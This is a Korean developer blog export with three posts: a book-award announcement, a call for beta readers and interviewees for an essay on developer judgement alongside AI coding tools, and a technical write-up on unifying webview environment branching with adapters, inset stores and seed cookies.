# yceffort

> Full markdown of every published post (Korean).

---

Source: https://yceffort.kr/2026/09/npm-deep-dive-sejong-books.md
Title: 『<em>npm Deep Dive</em>』가 2026년 세종도서 학술부문에 선정되었습니다
Description: 『npm Deep Dive』가 2026년 세종도서 학술부문에 선정되었습니다. 함께 써주신 분, 만들어주신 분, 읽어주신 분들께 감사드립니다.
Date: 2026-09-11
Tags: nodejs, javascript

![2026년 세종도서 학술부문 선정도서 목록. 총류 33번에 『npm Deep Dive』가 있다](./images/npm-deep-dive-sejong/sejong-books-2026-list.png)

『npm Deep Dive』가 2026년 세종도서 학술부문에 선정되었습니다. [한국출판문화산업진흥원의 선정 결과 공고](https://www.kpipa.or.kr/p/g1_2/2146)에서 확인할 수 있습니다.

공동 저자 전유정 님, 위키북스 편집팀, 베타 리더분들, 그리고 읽어주신 모든 분들께 감사드립니다.

- 📘 자세히 보기: [출판사 위키북스 소개 페이지](https://wikibook.co.kr/npm-deep-dive/)
- 🛒 온라인 구매: [교보문고 바로가기](https://product.kyobobook.co.kr/detail/S000216669881)
- 📄 선정 결과: [2026년 세종도서 학술부문 선정 결과 공고](https://www.kpipa.or.kr/p/g1_2/2146)

---

Source: https://yceffort.kr/2026/09/who-learns-to-judge-beta-reader.md
Title: 『<em>남은 판단은 누가 배우는가</em>』 베타리더와 인터뷰이를 각각 모십니다
Description: AI가 코드를 쓰는 시대의 개발자와 판단에 대한 에세이입니다. 초고를 읽고 의견을 주실 베타리더와, AI와 함께 일하는 경험을 들려주실 인터뷰이를 각각 찾습니다. 둘 다 9월 30일까지 모집합니다.
Date: 2026-09-09
Tags: ai, essay

## Table of Contents

## 무엇을 쓰고 있나

지난달에 [인터뷰에 응해주실 분을 찾는 글](/2026/08/who-learns-to-judge-interviews)을 올렸습니다. 그 사이 여는 글부터 닫는 글까지 초고가 한 번 다 나왔고, 지금은 인터뷰를 반영하며 퇴고하고 있습니다. 이 단계에서 초고를 읽고 의견을 주실 베타리더를 찾습니다. 인터뷰이도 계속 찾고 있으며, 둘은 따로 지원하실 수 있습니다. 인터뷰는 [글 뒤쪽](#인터뷰이도-따로-찾습니다)에 적었습니다.

가제는 『남은 판단은 누가 배우는가』입니다. 기술서가 아니라 에세이입니다. AI가 코드를 쓰고 사람이 코드를 덜 읽게 된 환경에서 개발자의 판단이 어디서 길러지고 어디서 길러지지 않는지를, 제 경험과 다른 개발자들의 이야기로 따라갑니다. 여는 글의 한 대목입니다.

> 회의를 앞두고 공유된 위키 문서를 처음부터 끝까지 읽은 적이 있다. 한국어 문서에 다른 문자 체계의 글자가 군데군데 섞여 있었다. AI 초안의 흔적인지 편집 과정의 사고인지는 알 수 없었지만, 회의가 시작될 때까지 그 글자들은 그대로였다.
>
> 사람들은 하나둘 노트북을 열어 그 위키를 AI 창에 붙여 넣었다. 요약해 줘. 그 회의에는 원문을 이해했는지 확인하는 순서가 없었고, 요약만으로도 대화는 그럭저럭 흘러갔다. 처음부터 끝까지 읽고 온 나는 가장 비효율적으로 시간을 쓴 사람처럼 느껴졌다. 그런 일이 반복되자 나도 비슷해졌다. 회의 전에 안건을 읽지 않고, 주최자가 인사를 건네는 동안 조용히 AI 창을 열었다. 이 위키 문서 요약해 줘. 그러고도 회의는 별 탈 없이 끝났다.
>
> 나는 모든 코드를 매번 끝까지 읽어야 한다고 생각하지는 않는다. 읽지 않고 넘겨도 되는 변경과 멈춰 살펴야 하는 변경을 가르고, 테스트를 믿을 때와 추가로 확인할 때를 정할 수 있어야 한다고 생각한다. 설명이 막힐 때 그 막힘을 위험으로 알아보는 일도 포함된다. 이 책에서는 그런 능력을 판단이라고 부르려 한다.
>
> 마찰이 줄어도 판단을 다른 방식으로 배울 수 있다면, 사라진 마찰을 아쉬워할 이유는 없다. 내가 궁금한 것은 이해하지 않아도 일이 계속되는 동안, 예전에 판단을 배우던 과정에서 무엇이 빠지고 무엇이 새로 생기는가다.
>
> (중략)
>
> 나는 그 시간을 통과한 뒤 지금의 자리에 올랐다. 이제 도구가 그 더딘 과정의 많은 부분을 건너뛰어 주는 것이 편하고 반갑다. 필요하면 아래로 내려가 읽을 수 있으니 덜 위태롭다고 믿는다. 정작 그날 읽을 수 있으면서도 읽기를 접었고, 그냥 넘어가자는 말에 누구보다 먼저 안도했다는 사실은 잠시 잊은 채로. 아직 판단을 배우지 못한 사람이 어디서 무엇을 배울지는 내 자리에서 잘 보이지 않는다. 이 책을 쓰며 내가 편하게 받아들인 선택도 함께 의심해 보려 한다.
>
> 그러니 처음부터 묻고 시작하겠다. AI가 개발하고 지나간 자리에 남은 판단은, 누가 배우는가.

AI를 쓰지 말자는 책은 아닙니다. 저도 매일 코딩 에이전트와 일합니다. 마지막 장에 "이렇게 합시다" 같은 처방도 두지 않았습니다.

## 목차 (변경될 수 있음)

- 일러두기
- 여는 글: 아무도 끝까지 읽지 않는다
- 1막: 판단은 남는다
  - 1장: 코드를 안 읽어도 된다
  - 2장: "스펙을 만족한다"는 말의 순환
  - 3장: 경계는 사라지지 않고 다시 그어진다
- 2막: 그러나 판단은 저절로 길러지지 않는다
  - 4장: 신호가 꺼진다
  - 5장: 보이지 않는 것은 증폭되지 않는다
  - 6장: 마찰은 학습을 함께 실어 날랐다
  - 7장: 필요가 오지 않는다
- 닫음: 처방을 쓰고 싶은 손

## 부탁드리는 것

정해진 양식은 없습니다. 처음부터 끝까지 읽으시고 느끼신 점을 적어주시면 됩니다. 읽다가 멈춘 자리의 짧은 메모면 충분합니다. 오탈자와 사실관계 오류도 알려주시면 반영하겠습니다.

다 읽으신 뒤에는 책에 실을 추천사를 몇 줄 부탁드립니다. 추천사에는 소속과 이름이 함께 실립니다. 책이 마음에 들지 않으면 쓰지 않으셔도 되고, 그 경우에도 의견은 그대로 받겠습니다.

## 진행 방식

- private GitHub 저장소에 초대해 드립니다. 원고는 장별 markdown 파일이고, 의견은 한 분당 GitHub 이슈 하나에 모아서 남겨주시면 됩니다.
- 리딩 기간은 **2026년 10월 5일부터 11월 1일까지**입니다.
- 리딩 기간 중에도 원고는 계속 수정됩니다. 변경 내역은 커밋 로그로 확인하실 수 있습니다.
- 원고는 비공개입니다. 내용을 외부에 옮기지 말아주세요.

## 특전

출간되면 책 한 권을 보내드립니다. 추천사를 써주신 분은 소속과 이름을 책에 함께 싣습니다. 드릴 수 있는 것이 많지 않아 죄송하지만, 먼저 읽어주시는 시간에 대한 감사의 뜻으로 받아주시면 좋겠습니다.

## 지원

- **자격**: 개발자라면 누구나. 연차와 직군, 회사 규모에 제한이 없고, 프론트엔드가 아니어도 됩니다.
- **방법**: [root@yceffort.kr](mailto:root@yceffort.kr)로 `[베타리더신청]` 말머리를 붙여 메일을 보내주세요.
  - 어느 회사에서 어떤 일을 하시는지
  - 스스로를 주니어, 시니어, 리더 중 어디에 가깝다고 보시는지
  - 이력서. 추천사에 실을 소속과 이름을 확인하는 출판 용도로만 쓰고, 그 외에는 사용하지 않습니다.
- **모집 기간**: **2026년 9월 30일까지**. 인원이 모이면 일찍 마감할 수 있습니다.
- **인원**: 최대 10명. 선착순이 아니며, 주니어와 시니어와 리더를 골고루 모시려고 합니다. 신청하신 모든 분을 모시지 못할 수 있습니다.

## 인터뷰이도 따로 찾습니다

AI와 함께 일하는 경험을 들려주실 분도 계속 찾고 있습니다.

- **대상**: AI 덕분에 성장이 빨라졌다고 느끼는 분, 반대로 학습에 어려움을 느끼는 분, AI와 함께 커리어를 시작한 주니어 분, 아무것도 바뀌지 않았다고 느끼는 분. 책의 방향과 반대되는 이야기도 필요합니다.
- **방식**: 대면, 화상이나 통화, 이메일 문답 중 편하신 방식으로 한 시간 안팎. 예외 없이 익명으로 처리하고, 책에 실릴 문장은 사용 전에 본인에게 확인받습니다. 자세한 원칙은 [지난 글](/2026/08/who-learns-to-judge-interviews)에 있습니다.
- **지원**: [root@yceffort.kr](mailto:root@yceffort.kr)로 `[인터뷰신청]` 말머리를 붙여, 연차와 직군, 일하시는 환경, 나누고 싶은 이야기를 한두 줄 보내주세요.
- **모집 기간**: **2026년 9월 30일까지**. 선착순이 아니며, 참여해 주신 분께는 소정의 네이버페이 포인트를 드립니다.

베타리더와 인터뷰이 둘 다 지원하셔도 됩니다. 메일 하나에 말머리를 둘 다 붙여주시면 됩니다.

## FAQ

- **개발자가 아니어도 되나요?** 이번에는 개발자만 모십니다. 장면 대부분이 코드 리뷰와 디버깅과 배포 같은 개발 현장에서 나옵니다.
- **모든 장을 다 읽어야 하나요?** 네, 처음부터 끝까지 순서대로 읽어주세요. 앞 장을 전제로 뒤 장이 이어집니다.
- **전작 베타리더였는데 또 지원해도 되나요?** 네, 상관없습니다.
- **출간 시기는요?** 아직 정해지지 않았습니다. 베타리딩 의견을 반영한 뒤에 다음 단계로 넘어갑니다.

감사합니다 🙇🏻‍♂️

---

Source: https://yceffort.kr/2026/09/one-web-on-multiple-webviews.md
Title: <em>여러 웹뷰</em>에서 하나의 웹 운영하기: 환경 분기를 어댑터로 모은 과정
Description: 자사 앱과 파트너 앱의 iOS, Android 웹뷰를 지원하며 흩어진 환경 분기를 어댑터로 모았다. 인셋과 브릿지, CSS를 정리한 과정과 SSR 시드, hydration에서 겪은 문제를 기록했다.
Date: 2026-09-09
Tags: webview, architecture, css, frontend

## Table of Contents

## 여백 하나를 얻는 네 가지 방법

하나의 웹 서비스를 자사 앱과 파트너 앱의 iOS, Android 웹뷰에서 운영했다. 화면도 코드도 같았지만, 화면 하단의 안전 여백(safe area inset)을 얻는 방법부터 달랐다. 노치나 홈 인디케이터, OS 내비게이션 바와 콘텐츠가 겹치지 않도록 확보하는 여백인데, 환경마다 아래와 같이 처리하고 있었다.

| 환경          | 상단 인셋                                                      | 하단 인셋                                |
| ------------- | -------------------------------------------------------------- | ---------------------------------------- |
| 자사 앱 iOS   | 최초 요청 헤더, 없으면 디바이스 테이블(모델별 기본값 하드코딩) | `env(safe-area-inset-bottom)` (네이티브) |
| 자사 앱 AOS   | 브릿지(JSAPI) 호출                                             | 없음 (`env()`가 항상 0)                  |
| 파트너 앱 iOS | 최초 요청 헤더, 이후 쿠키 시드                                 | `env(safe-area-inset-bottom)` (네이티브) |
| 파트너 앱 AOS | 위와 동일                                                      | 앱이 주입하는 CSS 변수                   |

> 위 표는 `viewport-fit=cover`를 선언한 상태에서 관측한 결과다. 그런데도 두 앱의 AOS 웹뷰는 `env()`에 0을 반환했다. 상단에 `env(safe-area-inset-top)`를 쓰지 않은 이유는 웹뷰 위치가 화면 모드에 따라 달랐기 때문이다. 웹뷰가 상태바 아래에서 시작하기도 하고 화면 전체를 덮기도 해서, 헤더 계산에 필요한 상태바 높이는 앱이 알려주는 값을 사용했다.
>
> 이 동작은 WebView 버전에 따라서도 달라진다. [Chromium의 WebView 인셋 문서](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/insets.md)에 따르면 M136부터는 풀스크린 웹뷰에서, M144부터는 모든 웹뷰에서 시스템 바와 컷아웃 인셋을 CSS로 전달한다. 표의 0을 Android WebView의 고정된 특성으로 봐서는 안 된다.

인셋 외에도 확인할 것이 많았다. 키보드가 올라오면 웹뷰가 줄어드는지 밀리는지, Android의 뒤로 가기가 페이지 이동인지 웹뷰 닫기인지, 링크를 SPA 전환으로 여는지 새 웹뷰로 여는지부터 달랐다. 백그라운드 복귀 신호와 다크모드 설정까지, 여러 화면에서 쓰는 기능마다 채널과 OS 조합을 확인해야 했다.

이 중 상당수는 OS뿐 아니라 호스트 앱의 웹뷰 설정에 영향을 받는다. 키보드 동작에는 `windowSoftInputMode`가 관여하고, 뒤로 가기 처리와 엣지투엣지 여부도 호스트가 정한다. iOS와 Android만 구분해서는 같은 OS에 있는 두 앱의 차이를 설명할 수 없었다.

이 차이를 처리하느라 컴포넌트와 훅마다 `if (isPartnerApp)`가 늘어났다.

이 글에서는 흩어진 환경 분기를 어댑터로 모은 과정을 다룬다. 각 컴포넌트가 "지금 어떤 환경인가?"를 판단하던 코드를 바꾸고, 환경별 설정과 동작을 한곳에서 **선언**해 사용하도록 했다. 구현하면서 겪은 문제와 남은 한계도 함께 정리했다.

> 복수의 슈퍼앱에 입점하는 웹 서비스에서 겪은 사례다. 채널은 "자사 앱 / 파트너 앱"으로 익명화했고, 코드 예제는 글을 위해 새로 작성했다. 부분 주입이나 늦은 주입 등의 동작은 당시 관측한 것이며, 모든 웹뷰에서 동일하게 발생한다는 뜻은 아니다.

## 조건문이 늘어나면서 생긴 문제

처음에는 문제가 생긴 곳에 조건을 추가하는 것으로 충분해 보였다.

- 파트너 앱에서 하단 인셋이 0으로 나와 해당 컴포넌트에 별도 계산을 넣었다.
- UA에 자사 앱의 식별 마커가 없어 판정부에 예외를 추가했다.
- 자사 전용 브릿지 API가 호출되지 않도록 파트너 앱에서는 가드로 막았다.

각 수정은 당장의 문제를 해결했지만, 환경별로 무엇이 달라졌는지는 따로 정리되지 않았다. 1년 뒤에는 값 계산, 브릿지 호출, 스타일, UI 표시 코드 수백 곳에서 원시 판별 함수를 직접 호출하고 있었다. 유지보수하면서 세 가지 문제가 드러났다.

1. **환경별 차이를 파악하기 어려웠다.** "파트너 앱에서 뭐가 다르죠?"에 답하려면 grep 결과 수백 줄을 읽어야 했다.
2. **가드를 빠뜨려도 발견하기 어려웠다.** 컴파일과 기존 테스트를 통과한 코드가 특정 채널과 OS 조합의 실기기에서만 실패했다.
3. **새 환경을 추가할 때 확인할 곳이 많았다.** 기존 분기마다 새 환경에도 같은 조건이 적용되는지 검토해야 했다.

상단 인셋에서 실제로 이런 버그를 겪었다. 자사 앱은 UA에 내비게이션 스타일 마커를 넣어 주고, 웹은 이를 보고 투명 내비게이션일 때만 상태바 높이를 확보했다. 이 로직을 파트너 앱에서도 사용했는데, 파트너 앱의 UA에는 그 마커가 없었다. 항상 기본 내비게이션으로 판정되면서 상단 인셋도 0이 됐다.

그 결과 파트너 앱에서만 헤더가 상태바를 침범했다. 자사 앱에서는 문제가 없었고, 데스크톱에서도 해당 UA를 재현하지 않으면 발견하기 어려웠다. 결국 파트너 앱 실기기에서 확인한 뒤에야 원인을 찾았다.

판정 유틸은 "UA에 자사 앱 마커가 있다"는 전제로 만들어져 있었다. 호출하는 쪽에서는 이 전제를 알기 어려웠다. 다른 환경에서도 재사용할 수 있어 보이는 유틸에 자사 앱의 조건이 숨어 있었던 것이다.

## 웹을 나누기 전에 분기를 나눠 보기

호스트별로 웹을 분리하는 방법도 생각해 봤다.

다만 우리 서비스는 도메인 로직 대부분을 공유하고 있었다. 호스트별 빌드를 만들더라도 공통 코드와 배포를 어떻게 관리할지는 별도로 풀어야 했다. 당시 문제는 주로 인셋이나 브릿지 같은 호스트 연동 부분에 있었으므로, 이 부분을 분리하는 쪽을 택했다.

그렇다고 모든 분기를 없앨 수는 없었다. 특정 앱에서만 배너를 보여주는 것처럼 제품 요구사항에 따른 조건도 있었다. 먼저 분기의 용도를 나눴다.

## 제거할 분기와 남길 분기

값과 동작의 차이는 어댑터 안에서 처리하고, 스타일의 구조적 차이는 선언부로 모았다. 제품 요구사항에 따른 UI 조건은 사용하는 곳에 남겼다.

| 분기 유형        | 예                              | 해법                        | 적용 범위                   |
| ---------------- | ------------------------------- | --------------------------- | --------------------------- |
| 값 분기          | 인셋, 상태바 높이, 키보드 높이  | 어댑터 + 스토어             | 컴포넌트의 환경 판별 제거   |
| 동작 분기        | 브릿지 호출, 백 버튼, 복귀 신호 | 공통 브릿지 인터페이스      | 호출부의 환경 판별 제거     |
| 스타일 구조 분기 | 환경별 셀렉터                   | `data-*` 속성 + 공통 셀렉터 | 환경별 조건을 한곳에서 관리 |
| UI 분기          | 특정 앱 전용 컴포넌트           | 설정값을 읽는 if            | 제품 요구사항에 따라 유지   |

값과 동작의 분기는 어댑터 선택과 구현 안에 남는다. 컴포넌트에서는 그 결과만 사용하므로 환경을 직접 판별할 필요가 없다.

특정 앱에서만 그리는 배너는 표시 조건이 코드에 드러나는 편이 읽기 쉽다. 이 경우에는 **조건을 어디서 가져오는지**가 중요하다.

```tsx
<Page>
  {/* 컴포넌트에서 UA 문자열을 직접 해석한다 */}
  {userAgent.includes('PARTNER') && <PartnerBanner />}

  {/* 어댑터가 판정한 채널을 사용한다 */}
  {host.channel === 'partner' && <PartnerBanner />}

  {/* 여러 채널에 적용할 수 있다면 기능 설정을 사용한다 */}
  {host.features.showPartnerPromotion && <PartnerBanner />}
</Page>
```

모든 UI 조건에 feature 플래그가 필요한 것은 아니다. 한 채널에만 해당하는 요구사항이고 재사용할 일도 없다면 `channel === 'partner'` 비교로 충분할 수 있다.

## 질문에서 선언으로

공통 원칙은 환경을 판별하는 위치를 줄이는 것이다.

- 컴포넌트마다 환경을 판별하면 새 환경이 추가될 때마다 기존 조건을 확인해야 한다.
- 환경별 설정을 `HostConfig`, `data-*` 속성, CSS 변수로 모으면 컴포넌트는 같은 인터페이스를 계속 사용할 수 있다. 새 환경도 기존 인터페이스로 지원할 수 있다면 어댑터와 선언부를 추가하는 것으로 대응할 수 있다.

환경 판별은 조립 지점(composition root)에서 한다. 이곳에서 UA와 헤더를 읽어 어댑터를 고르고, 나머지 코드에는 설정과 스토어, 브릿지를 전달한다.

```text
[호스트 N종: 헤더 / 쿠키 / JSAPI / CSS 변수 주입 / env()]   ← 호스트마다 다른 입력
        ↓
① 어댑터: 환경별 파일 N개                                  ← 환경별 소스와 동작 처리
        ↓
② 스토어: 현재 값과 신뢰 등급
        ↓
③ 선언: html[data-*] + 자체 CSS 변수 + HostConfig
        ↓
④ 사용: CSS / 컴포넌트 / 훅                                ← 같은 인터페이스로 사용
        ↓
⑤ 검증: 린트 + 공통 테스트                                 ← import 제한과 어댑터 동작 확인
```

파일도 이 역할에 맞춰 나눴다.

```text
src/host/
  adapters/
    types.ts        # 어댑터가 구현할 타입과 메서드
    detect.ts       # 원시 판별(UA, 헤더). bootstrap.ts 등 조립 코드에서만 사용
    own-ios.ts      # 환경별 연동 구현
    own-aos.ts
    partner-ios.ts
    partner-aos.ts
  store.ts          # 인셋과 출처별 등급을 저장하고 갱신
  bootstrap.ts      # 조립 지점. "어떤 환경인가?"가 실행되는 유일한 곳
  react.tsx         # 컴포넌트에서 사용할 Provider와 훅
```

`HostAdapter`는 세 부분으로 구성된다. `seedInsets`와 `watchInsets`는 인셋의 초기값과 갱신값을 제공하고, `bridge`는 호스트별 동작을 구현한다. `config`에는 채널과 OS, 기능 설정을 둔다.

어댑터 파일 하나는 서두 표의 한 환경을 구현한다. 쿠키 이름, CSS 변수명, 미지원 브릿지 목록은 이 파일에서 관리한다. `bootstrapHost`는 환경에 맞는 어댑터를 고르고, 시드로 스토어를 만든 뒤 React와 CSS에서 쓸 값을 반환한다.

서버는 요청 헤더와 쿠키로 시드를 구하고, 판정 결과와 함께 HTML에 넣는다. 클라이언트 진입점은 `<html data-seed>`에서 그 시드를 읽어 같은 값으로 스토어를 초기화한다(구현은 뒤의 파일별 구현 예제에 있다). 현재 페이지의 hydration에는 이 값을 사용한다. 서버가 응답에 설정하는 쿠키는 이후 서브도메인 이동 등 새로운 SSR 요청에서 시드를 복원하기 위한 것이다.

컴포넌트에서는 값의 출처나 브릿지 구현을 몰라도 된다.

```tsx
function Screen() {
  const {bottom} = useInsets() // 스토어 구독. 값이 어디서 왔는지 모른다
  const host = useHost() // HostConfig: channel, os, features
  const bridge = useBridge() // HostBridge: 환경마다 같은 메서드를 제공한다

  useEffect(() => bridge.setStatusBarStyle('dark'), []) // 가드 없이 호출한다

  return (
    <div style={{paddingBottom: bottom}}>
      {host.features.showPartnerPromotion && <PartnerBanner />}
    </div>
  )
}
```

원시 판별 함수를 사용할 수 있는 위치는 린트로 제한하고, 어댑터마다 같은 테스트를 실행해 인터페이스에서 약속한 동작을 확인한다. 이를 계약 테스트라고 부른다.

## 값: 늦게 도착하는 인셋 처리하기

우리가 관측한 호스트에서는 CSS 변수가 `onPageFinished` 이후에 주입됐다. bottom이 먼저 들어오고 top은 나중에 들어오는 경우도 있었다. 초기화 시점에 모든 인셋을 알 수 있다고 가정해서는 안 됐다.

처음에는 값을 읽을 때마다 헤더, 쿠키, CSS 변수를 비교해 폴백을 고르는 함수를 만들었다. 하지만 호출 시점마다 답이 달라질 수 있었고, 이미 읽은 실측값보다 오래된 쿠키를 선택하지 않는지도 계속 신경 써야 했다.

그래서 읽기와 갱신을 분리했다. 컴포넌트는 스토어를 읽고, 어댑터는 값을 얻는 대로 스토어에 전달한다. 스토어는 출처별 신뢰 등급에 따라 갱신 여부를 결정한다.

```text
시드(헤더/쿠키)           = 잠정값. 확정값을 절대 덮지 못한다.
주입 감지(CSS 변수 실측)   = 확정값.
```

`push(side, value, grade)`는 해당 방향의 현재 등급보다 낮은 값은 무시한다. 같거나 높은 등급이면 값을 바꾸고 구독자에게 알린다.

인셋 헤더는 호스트 앱이 웹뷰 최초 요청에만 실어 줬다. 서비스 안에서 다른 서브도메인으로 이동하면 다음 SSR 요청에는 이 헤더가 없었다. 그래서 최초 SSR 응답에서 헤더 값을 쿠키로 남기고, 이후 요청에서는 쿠키로 시드를 복원했다. 이전 요청에서 얻은 값이므로 실측값보다 낮은 등급을 부여했다.

React에서는 [`useSyncExternalStore`](https://react.dev/reference/react/useSyncExternalStore#adding-support-for-server-rendering)로 스토어를 구독한다. 스토어가 첫 렌더에 쓴 시드 스냅샷을 따로 고정해 두고 `getServerSnapshot`은 그것만 돌려주게 하면, 클라이언트 부트스트랩이 hydration보다 먼저 실측값을 밀어 넣더라도 hydration 동안 React가 보는 값은 서버와 같다. 확정값은 hydration이 끝난 뒤의 재렌더로 반영된다. 시드 자체도 클라이언트가 쿠키를 다시 읽지 않고 서버가 HTML에 직렬화해 둔 값을 쓰게 해서, 두 쪽이 다른 시드에서 출발할 가능성을 없앤다.

CSS 변수를 읽을 때는 **미주입과 0으로 주입된 상태를 구분해야 한다.** `getComputedStyle`은 변수가 없으면 빈 문자열을, 0이 주입되면 `"0px"` 같은 값을 반환한다.

```ts
/** side별 CSS 변수를 읽되, 미주입(undefined)과 0 주입(0)을 구분한다 */
const readInjectedInset = (cssVar: string): number | undefined => {
  const value = getComputedStyle(document.documentElement)
    .getPropertyValue(cssVar)
    .trim()

  if (value === '') return undefined // 미주입: 아직 도착하지 않았다

  const parsed = Number.parseFloat(value)
  if (!Number.isFinite(parsed)) return undefined // 파싱 불가도 미주입으로 취급한다. 확정 0으로 승격시키면 시드를 이겨 버린다

  return parsed > 0 ? Math.round(parsed) : 0 // 0도 유효한 확정값
}
```

이전 세션의 쿠키에는 `bottom: 34`가 남아 있지만, 현재 화면에서는 엣지투엣지가 꺼져 실측 인셋이 0일 수 있다. 이때 "0이면 쿠키로 폴백"하면 불필요한 하단 여백 34px이 생긴다. 주입되지 않은 방향만 시드로 채우고, 실측한 0은 그대로 사용해야 한다. bottom만 먼저 주입됐을 때도 같은 원칙으로 top의 시드를 유지할 수 있다.

```ts
const css = {
  top: readInjectedInset('--host-inset-top'),
  bottom: readInjectedInset('--host-inset-bottom'),
}
const seed = readSeedFromHtml() // 서버가 <html data-seed>에 직렬화해 둔 시드

const merged = {
  top: css.top ?? seed.top ?? 0, // ??이므로 "0으로 주입됨"은 시드에 지지 않는다
  bottom: css.bottom ?? seed.bottom ?? 0,
}
```

이 글은 상단과 하단만 다루지만 인셋은 top, right, bottom, left 네 방향이다. 가로 모드에서는 left와 right가 같은 문제를 그대로 반복하므로, 스토어와 병합 로직은 처음부터 네 방향을 다루도록 두는 편이 낫다.

키보드 높이도 비슷하게 다룰 수 있다. 소스가 환경마다 다르고, 늦게 도착하거나 중간값이 바뀔 수 있어서다. 다만 소스를 정할 때는 WebView 버전까지 확인해야 한다. 예를 들어 [Android WebView는 M139부터 키보드에 따른 visual viewport 리사이즈를 지원한다](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/insets.md). 각 어댑터에서 이 차이를 처리하면 컴포넌트는 스토어가 제공하는 높이만 사용하면 된다.

모든 주입을 감지하지는 못했다. `MutationObserver`로 인라인 스타일 변경을 감지하려면 앱이 `documentElement`의 인라인 스타일에 값을 넣는다는 전제가 필요했다. 앱 소스를 볼 수 없어 이를 확정하지 못했고, JS에서는 최초 측정과 회전이나 리사이즈처럼 신호가 있는 변경만 반영하기로 했다. 따라서 실측값이 주입돼도 다음 신호가 올 때까지 시드를 사용하는 경우가 남는다.

## 시드 쿠키: 무엇을 싣고, 언제 사라지는가

SSR에서 사용할 시드는 헤더와 쿠키의 유무에 따라 달라진다.

| SSR 상황                      | 헤더 | 쿠키           | 시드   |
| ----------------------------- | ---- | -------------- | ------ |
| 웹뷰 최초 요청                | 있음 | 없거나 과거 값 | 헤더   |
| 서비스 안에서 서브도메인 이동 | 없음 | 있음           | 쿠키   |
| 로그아웃 직후의 SSR           | 없음 | 없음           | 기본값 |

우리가 연동한 호스트는 로그아웃 시점에 웹뷰 쿠키를 모두 삭제했다. 세션 쿠키와 함께 인셋 시드도 사라졌다. 웹에서 시드 쿠키만 예외로 남길 수는 없으므로, 쿠키가 없는 상태도 처리해야 했다.

비영속 저장소와 디스크 저장 시점도 고려해야 한다. iOS의 [`WKWebsiteDataStore.nonPersistent()`](https://developer.apple.com/documentation/webkit/wkwebsitedatastore/nonpersistent%28%29)는 데이터를 메모리에만 보관하므로 앱 재실행 후에도 쿠키가 남아 있다고 가정할 수 없다. Android에서도 디스크에 기록되기 전에 프로세스가 종료되면 최근 쿠키 변경이 유실될 수 있다. [`CookieManager.flush()`](<https://developer.android.com/reference/android/webkit/CookieManager#flush()>)는 현재 쿠키를 영속 저장소에 기록하는 API다. 직접 겪은 것은 로그아웃 삭제였지만, 어느 경우든 쿠키를 항상 존재하는 값으로 취급해서는 안 된다.

헤더와 쿠키가 모두 없을 때를 위해 `default` 등급을 둔다.

```ts
type Grade = 'default' | 'seed' | 'measured'
const RANK: Record<Grade, number> = {default: 0, seed: 1, measured: 2}
```

헤더도 쿠키도 없는 SSR은 `default` 등급의 0으로 첫 HTML을 만든다. 자사 앱 iOS는 디바이스 테이블에서 시드를 얻는 경로가 있다. 클라이언트에도 같은 초기값을 전달하고, 실측값이 도착하면 `measured`로 갱신한다.

시드가 없으면 첫 화면의 여백이 잠깐 틀릴 수 있다. 이를 피하려고 localStorage에 별도 복사본을 두지는 않았다. 쿠키 삭제 이후에도 오래된 시드를 관리하는 경로가 하나 더 생기기 때문이다. 대신 `default`로 렌더링한 횟수를 호스트별로 기록했다. 로그아웃 외의 상황에서도 빈번하게 발생하면 쿠키 저장이나 전달 경로를 확인할 수 있다.

로그아웃할 때마다 기본값이 쓰이는 것은 아니다. 웹뷰를 닫았다가 다시 열면 최초 요청 헤더를 다시 받고, SPA 전환만 하면 스토어가 메모리에 남는다. 우리 서비스에서 확인한 경로는 웹 안에서 로그아웃한 뒤 전체 페이지 이동으로 로그인 화면을 SSR하는 경우였다.

시드 쿠키는 다음과 같이 설정했다.

- `Max-Age`를 지정해 세션이 끝나도 보관할 수 있게 한다. 다만 호스트가 쿠키를 명시적으로 삭제하는 것까지 막지는 못한다.
- 서브도메인 사이에서 공유할 수 있도록 `Domain`을 명시한다. 생략하면 쿠키를 설정한 호스트에만 전송된다.
- 인셋과 스키마 버전만 저장한다. 사용자 식별 정보는 넣지 않고, 채널과 OS는 SSR 요청마다 다시 판정한다.

쿠키를 SSR 입력으로 사용하면 HTML도 기기마다 달라진다. 공유 캐시가 이 차이를 무시하면 다른 기기의 인셋이 들어간 HTML을 받을 수 있다. `Cache-Control: private`을 사용하거나, 헤더와 쿠키 등 HTML을 바꾸는 입력이 캐시 정책에 반영되도록 해야 한다.

## 동작: 브릿지 차이를 어댑터에서 처리하기

자사 전용 브릿지를 호출할 때마다 가드를 넣으면 새 호출부에서도 같은 조건을 기억해야 한다. 호출부에서는 같은 메서드를 사용하고, 내부 구현만 환경별로 다르게 두었다. 상태바 스타일처럼 미지원 환경에서 생략해도 되는 기능은 아무 작업도 하지 않는 함수(no-op)로 구현했다.

```ts
// 자사 앱 어댑터는 JSAPI를 부르고, 파트너 앱 어댑터는 같은 메서드를 no-op으로 구현한다
const ownAppBridge: HostBridge = {
  setStatusBarStyle: (style) => window.OwnAppJSAPI?.setStatusBar(style),
}
const partnerBridge: HostBridge = {
  setStatusBarStyle: () => {
    if (process.env.NODE_ENV !== 'production') {
      console.warn('[bridge] setStatusBarStyle: 파트너 앱 미지원(no-op)')
    }
  },
}
```

호출부에서는 환경을 확인하지 않고 메서드를 부르면 된다. 다만 아무 반응이 없는 이유를 알 수 있도록 개발 환경에서는 미지원 기능이라는 경고를 남겼다.

모든 미지원 기능을 no-op으로 처리할 수는 없다. 예를 들어 결제를 마친 뒤 자사 앱은 웹뷰를 닫지만, 파트너 앱은 결과 페이지로 이동해야 할 수 있다. 이 동작은 `finishFlow(result)`로 묶고 각 어댑터에서 구현한다. `closeWebView()`처럼 특정 수단으로 이름을 정하면 파트너 앱의 동작을 담기 어렵다. 아무것도 하지 않아도 요구사항을 만족하는 경우에만 no-op을 쓴다.

내비게이션이나 복귀 이벤트도 같은 방식으로 처리한다.

- **내비게이션**: 같은 "다음 화면으로"가 자사 앱에서는 새 웹뷰 스택 쌓기이고 파트너 앱에서는 SPA 라우팅이다. 호출부는 `bridge.navigate(url)` 하나를 부르고, 스택을 쌓을지 라우터로 전환할지는 어댑터가 결정한다. `window.open`과 외부 브라우저 열기 정책도 같은 자리에서 흡수한다.
- **복귀 신호**: 웹뷰가 백그라운드에서 돌아오면 세션과 데이터를 다시 확인해야 한다. 호스트마다 제공하는 신호가 달라서, 어댑터가 브릿지의 resume 이벤트나 `visibilitychange`, `pageshow`를 받아 같은 형식의 이벤트로 전달한다.
